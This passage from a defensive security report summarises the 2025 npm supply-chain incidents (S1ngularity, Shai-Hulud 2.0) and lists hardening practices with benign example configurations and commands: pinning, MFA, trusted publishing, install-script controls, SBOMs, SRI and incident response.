S1ngularity (August 2025) #
Timeline: August 26, 2025
Impact:
- Nx packages compromised
- Tens of thousands of files exposed
- Over 2,000 distinct secrets stolen
Attack Method:
- Exploited vulnerable GitHub Actions workflow
- Stole npm publishing token
- Published malicious versions of Nx packages
- Post-install script (telemetry.js) scanned for credentials
Data Stolen:
- Developer credentials
- SSH keys
- Crypto-wallet files
- Environment variables
- Secrets from CI/CD pipelines
Shai-Hulud 2.0 (November 2025) #
Timeline: Early November 2025 (ongoing)
Scope:
- 25,000+ malicious repositories
- 350+ unique GitHub users
- Popular projects affected: Zapier, ENS Domains, PostHog, Postman
- Present in ~27% of cloud and code environments scanned
New Tactics:
- Destructive fallback: If credential theft fails, destroys victim's entire home directory
- Securely overwrites and deletes every writable file
- Shifts from pure theft to punitive sabotage
Industry Response #
GitHub Actions:
- Immediate removal of 500+ compromised packages
- npm blocking uploads containing malware IoCs
- Enhanced monitoring and detection
npm Security Improvements:
- Trusted publishing added (July 2025)
- Provenance attestations
- Enhanced 2FA requirements
- Legacy token sunset (end of 2025)
CISA Recommendations:
- Pin npm package dependency versions
- Immediately rotate all developer credentials
- Mandate phishing-resistant MFA
- Implement package allowlists
Supply Chain Security Best Practices #
1. Dependency Pinning #
Lock file discipline:
1// package.json - Use exact versions for critical dependencies
2{
3 "dependencies": {
4 "critical-package": "3.2.1", // Exact version
5 "stable-package": "~2.1.0", // Patch updates only
6 "flexible-package": "^1.0.0" // Minor updates allowed
7 }
8}
Lock file integrity:
- Commit
package-lock.jsonto version control - Use
npm ciin production/CI (enforces lockfile) - Review lockfile changes in PRs
- Never ignore lockfile conflicts
Why it matters: Red Hat's primary defense against 2025 attacks was "broad usage of version pinning."
2. Multi-Factor Authentication #
Critical requirement:
Enable phishing-resistant MFA on:
- npm accounts (especially package publishers)
- GitHub accounts
- All developer accounts
- CI/CD service accounts
Best practices:
- Use hardware security keys (YubiKey, etc.)
- Avoid SMS-based 2FA (vulnerable to SIM swapping)
- Enable "auth-and-writes" mode for npm 2FA
1# Enable 2FA for publishing
2npm profile enable-2fa auth-and-writes
3. Trusted Publishing (2025) #
Use OpenID Connect for publishing:
1# .github/workflows/publish.yml
2name: Publish to npm
3on:
4 release:
5 types: [created]
6
7jobs:
8 publish:
9 runs-on: ubuntu-latest
10 permissions:
11 contents: read
12 id-token: write # Required for OIDC
13 steps:
14 - uses: actions/checkout@v4
15 - uses: actions/setup-node@v4
16 with:
17 node-version: '20.x'
18 registry-url: 'https://registry.npmjs.org'
19 - run: npm ci
20 - run: npm publish --provenance --access public
21 env:
22 NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
Benefits:
- Short-lived, workflow-specific credentials
- No long-lived tokens in secrets
- Automated provenance attestations
4. Package Verification #
Before installing any package:
1# Check package information
2npm view package-name
3
4# Check weekly downloads
5npm view package-name dist.downloads
6
7# Check repository
8npm view package-name repository.url
9
10# View maintainers
11npm view package-name maintainers
12
13# Check for provenance
14npm view package-name dist.attestations
Red flags:
- Newly created packages with no history
- Typosquatting names (e.g., "react-dom" vs "react-domm")
- No repository link
- Suspicious maintainers
- Very low download counts for claimed functionality
5. Automated Security Scanning #
GitHub Advanced Security:
1# .github/workflows/security.yml
2name: Security Scan
3on: [push, pull_request]
4
5jobs:
6 dependency-review:
7 runs-on: ubuntu-latest
8 steps:
9 - uses: actions/checkout@v4
10 - uses: actions/dependency-review-action@v3
11 with:
12 fail-on-severity: high
Socket.dev integration:
1# .github/workflows/socket.yml
2name: Socket Security
3on: [pull_request]
4
5jobs:
6 socket-security:
7 runs-on: ubuntu-latest
8 steps:
9 - uses: actions/checkout@v4
10 - uses: socketdev/socket-security-action@v1
11 with:
12 token: ${{ secrets.SOCKET_TOKEN }}
Snyk integration:
1# Install Snyk CLI
2npm install -g snyk
3
4# Authenticate
5snyk auth
6
7# Test for vulnerabilities
8snyk test
9
10# Monitor project
11snyk monitor
6. Install Script Protection #
Critical defense:
1# Globally disable install scripts
2npm config set ignore-scripts true
3
4# Or in .npmrc
5echo "ignore-scripts=true" >> .npmrc
For legitimate scripts:
1# Install @lavamoat/allow-scripts
2npm install --save-dev @lavamoat/allow-scripts
3
4# Generate allowlist
5npx allow-scripts auto
package.json configuration:
1{
2 "scripts": {
3 "preinstall": "npx allow-scripts"
4 },
5 "lavamoat": {
6 "allowScripts": {
7 "trusted-package": true,
8 "another-trusted": true
9 }
10 }
11}
Why it matters: Shai-Hulud, S1ngularity, and Shai-Hulud 2.0 all used post-install scripts for malicious execution.
7. Software Bill of Materials (SBOM) #
Generate SBOM for visibility:
1# Using npm built-in
2npm sbom --format=cyclonedx > sbom.json
3
4# Using CycloneDX tool
5npx @cyclonedx/cyclonedx-npm --output-file sbom.json
6
7# Using Syft (multi-language)
8syft dir:. -o cyclonedx-json > sbom.json
SBOM management:
1# Track with OWASP Dependency-Track
2# Upload SBOM to central repository
3# Monitor for CVEs affecting components
4# Automated alerts for new vulnerabilities
Why it matters: SBOMs provide comprehensive inventory of dependencies for compliance, security monitoring, and incident response.
8. Private Registry / Proxy #
Use Verdaccio or similar:
1# Install Verdaccio
2npm install -g verdaccio
3
4# Run
5verdaccio
Configure npm:
1# .npmrc
2registry=http://localhost:4873/
Benefits:
- Cache packages locally
- Control which packages can be installed
- Scan packages before availability
- Protect against registry downtime
- Audit all package downloads
9. Dependency Allowlisting #
Limit allowed packages:
1// scripts/check-dependencies.js
2import { readFileSync } from 'fs';
3
4const allowedPackages = new Set([
5 'react',
6 'react-dom',
7 'astro',
8 // ... approved packages
9]);
10
11const packageJson = JSON.parse(readFileSync('package.json', 'utf-8'));
12const allDeps = {
13 ...packageJson.dependencies,
14 ...packageJson.devDependencies
15};
16
17for (const pkg of Object.keys(allDeps)) {
18 if (!allowedPackages.has(pkg)) {
19 console.error(`Unapproved package: ${pkg}`);
20 process.exit(1);
21 }
22}
Pre-commit hook:
1#!/bin/bash
2# .git/hooks/pre-commit
3
4node scripts/check-dependencies.js
10. Credential Rotation #
After 2025 attacks:
Immediately rotate:
- npm tokens
- GitHub personal access tokens
- SSH keys
- Environment variables in CI/CD
- API keys and secrets
- Database credentials
Best practices:
- Use secret management tools (HashiCorp Vault, AWS Secrets Manager)
- Implement automatic rotation
- Audit secret access
- Use short-lived credentials
11. Monitor for Compromise #
Indicators of compromise:
1# Check for unexpected package-lock.json changes
2git diff HEAD -- package-lock.json
3
4# Verify package integrity
5npm audit
6
7# Check installed scripts
8npm explore package-name -- ls -la
9
10# Review recent commits for suspicious changes
11git log --all --oneline -- package.json package-lock.json
Automated monitoring:
1# .github/workflows/monitor.yml
2name: Dependency Monitor
3on:
4 schedule:
5 - cron: '0 */6 * * *' # Every 6 hours
6
7jobs:
8 check:
9 runs-on: ubuntu-latest
10 steps:
11 - uses: actions/checkout@v4
12 - run: npm ci
13 - run: npm audit --audit-level=high
12. Code Review for Dependencies #
Review before merging:
- Check what changed in
package-lock.json - Understand why new dependencies were added
- Verify new dependencies are legitimate
- Check for suspicious version bumps
- Review transitive dependency changes
1# Helpful commands for reviewing dependency changes
2npm ls package-name
3npm why package-name
4npm outdated
Supply Chain Security Checklist #
- Enable phishing-resistant MFA on all accounts
- Use
npm ciin production and CI/CD - Commit and review package-lock.json changes
- Configure
ignore-scripts=trueglobally - Use allowlist for legitimate install scripts
- Implement trusted publishing with OIDC
- Generate and monitor SBOM
- Enable automated security scanning (Dependabot, Snyk, Socket)
- Verify package legitimacy before installation
- Use exact version pinning for critical dependencies
- Implement private registry/proxy
- Rotate credentials regularly
- Monitor for indicators of compromise
- Review dependency changes in PRs
- Use granular npm access tokens
- Enable package provenance verification
- Subscribe to security advisories
- Implement dependency allowlisting
- Use minimal permissions for CI/CD
- Regularly audit installed packages
8. Additional Security Recommendations #
Subresource Integrity (SRI) #
For third-party CDN resources:
1<script
2 src="https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js"
3 integrity="sha384-KyZXEAg3QhqLMpG8r+Knujsl5+z0CRnU6y0z3VqW6x1OPoFa9J9z9G9v3k8ePqSd"
4 crossorigin="anonymous">
5</script>
6
7<link
8 rel="stylesheet"
9 href="https://cdn.example.com/style.css"
10 integrity="sha384-abc123..."
11 crossorigin="anonymous">
Generate SRI hash:
1curl -s https://cdn.example.com/library.js | openssl dgst -sha384 -binary | openssl base64 -A
PCI DSS 4.0 Compliance: Requirement 6.4.3 mandates integrity checks on payment page scripts.
HTTP Security Headers #
Configure at CDN/hosting level:
# Security headers for static sites
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
Secrets Management #
Never commit secrets:
1# .gitignore
2.env
3.env.local
4.env.*.local
5*.key
6*.pem
7secrets.json
8credentials.json
Use environment variables:
1// ❌ NEVER do this
2const apiKey = "sk_live_abc123...";
3
4// ✅ Use environment variables
5const apiKey = process.env.API_KEY;
6
7// Validate at startup
8if (!apiKey) {
9 throw new Error('API_KEY environment variable required');
10}
For build-time secrets:
1# Use build variables, not committed files
2VITE_PUBLIC_KEY=xyz npm run build
HTTPS Enforcement #
For static sites:
- Enable HTTPS at CDN/hosting level
- Configure automatic HTTP to HTTPS redirects
- Use HSTS header to enforce HTTPS in browsers
- Consider HSTS preloading for high-security sites
Regular Security Audits #
Schedule periodic reviews:
- Monthly: Run
npm auditand review results - Quarterly: Update dependencies and re-audit
- Bi-annually: Full security review including SBOM generation
- Annually: Penetration testing and security assessment
Automated reminders:
1# .github/workflows/schedule-audit.yml
2name: Monthly Security Audit
3on:
4 schedule:
5 - cron: '0 9 1 * *' # 9 AM on 1st of month
6 workflow_dispatch:
7
8jobs:
9 audit:
10 runs-on: ubuntu-latest
11 steps:
12 - uses: actions/checkout@v4
13 - run: npm ci
14 - run: npm audit
15 - run: npm outdated
16 - run: npx @cyclonedx/cyclonedx-npm --output-file sbom-$(date +%Y-%m).json
9. Incident Response #
Detecting Compromise #
Signs your project may be compromised:
- Unexpected changes to package-lock.json
- New dependencies you didn't add
- Modified build scripts
- Unfamiliar npm scripts in package.json
- Suspicious network requests during builds
- Altered output files
- Increased build times
Response Procedure #
If compromise is suspected:
- Immediately stop deployments
- Rotate all credentials (npm tokens, API keys, GitHub tokens)
- Review recent commits for unauthorized changes
- Audit all dependencies using multiple tools
- Check for data exfiltration in logs
- Regenerate lockfile from clean state
- Notify affected parties if data was exposed
- Document incident for post-mortem
- Implement additional safeguards to prevent recurrence
Lessons from 2025 Attacks #
The 2025 supply chain attacks teach us:
- No package is too popular to be compromised - chalk, debug, and ansi-styles were targeted
- Phishing works - Even experienced maintainers can be fooled
- Tokens are valuable - npm tokens are primary attack targets
- Install scripts are dangerous - They execute with full permissions
- Detection is difficult - Malware can remain undetected for days
- Impact is widespread - 2.6 billion downloads affected in a single attack
- Defense requires layers - No single measure prevents all attacks
10. Conclusion #
Static site security requires vigilance across multiple domains:
- Dependencies - Regular audits, version pinning, and comprehensive scanning
- Build Scripts - Input validation, avoiding dangerous APIs, and least privilege
- Content Security - Strong CSP, XSS prevention, and secure Markdown rendering
- Supply Chain - MFA, trusted publishing, install script protection, and monitoring
The 2025 supply chain attacks demonstrate that complacency is dangerous. Even the most popular packages can be compromised. Security must be:
- Proactive - Don't wait for incidents
- Layered - Multiple overlapping defenses
- Continuous - Regular monitoring and updates
- Team-wide - Security is everyone's responsibility
By implementing the practices outlined in this report, teams can significantly reduce their attack surface and build more resilient static sites and frontend applications.
Sources #
Dependency Security #
- NPM Security best practices - OWASP
- npm audit fix - Taking Node.js Security to the Next Level | Jit
- Auditing package dependencies for security vulnerabilities | npm Docs
- npm-audit | npm Docs
- GitHub - bodadotsh/npm-security-best-practices
- NPM Security Audit: The Missing Layer Your Team Still Need
execSync/child_process Security #
- Node.js — Wednesday, April 10, 2024 Security Releases
- OS Command Injection in NodeJS | SecureFlag
- Preventing Command Injection Attacks in Node.js Apps
Input Validation #
- Input Validation for Web Forms & Website Security
- 10 Secure Coding Best Practices for Developers [2024]
- Input Validation - OWASP Cheat Sheet Series
- 5 JavaScript Security Best Practices for 2024 - The New Stack
- Input Validation Security Best Practices for Node.js
Content Security Policy #
- Content Security Policy (CSP): Implementation Guide for 2025
- Content Security Policy - OWASP Cheat Sheet Series
- Content Security Policy (CSP) - HTTP | MDN
- Content Security Policy (CSP) implementation - Security | MDN
XSS Prevention #
- What is cross-site scripting (XSS) and how to prevent it? | Web Security Academy
- Cross Site Scripting Prevention - OWASP Cheat Sheet Series
- XSS Exploitation in 2025: Advanced Techniques, AI Integration, and Evasion Strategies
Markdown Rendering Security #
- Secure Markdown Rendering in React: Balancing Flexibility and Safety | HackerOne
- GitHub - cure53/DOMPurify
- Using Markdown Securely
Supply Chain Security #
- Our plan for a more secure npm supply chain - The GitHub Blog
- Widespread Supply Chain Compromise Impacting npm Ecosystem | CISA
- Breakdown: Widespread npm Supply Chain Attack
- "Shai-Hulud" Worm Compromises npm Ecosystem in Supply Chain Attack
- Ongoing npm Software Supply Chain Attack Exposes New Risks
Package Integrity #
- npm - Why did package-lock.json change the integrity hash from sha1 to sha512?
- npm - Why package-lock.json need integrity?
Subresource Integrity #
- Subresource Integrity - Security | MDN
- Subresource Integrity (SRI) | OWASP Foundation
- What Is Subresource Integrity (SRI) - KeyCDN Support
Software Bill of Materials #
- How to generate an SBOM for JavaScript and Node.js applications | Snyk
- npm-sbom | npm Docs
- GitHub - CycloneDX/cyclonedx-node-npm
Report Generated: November 30, 2025 Author: Security Research Classification: Internal Documentation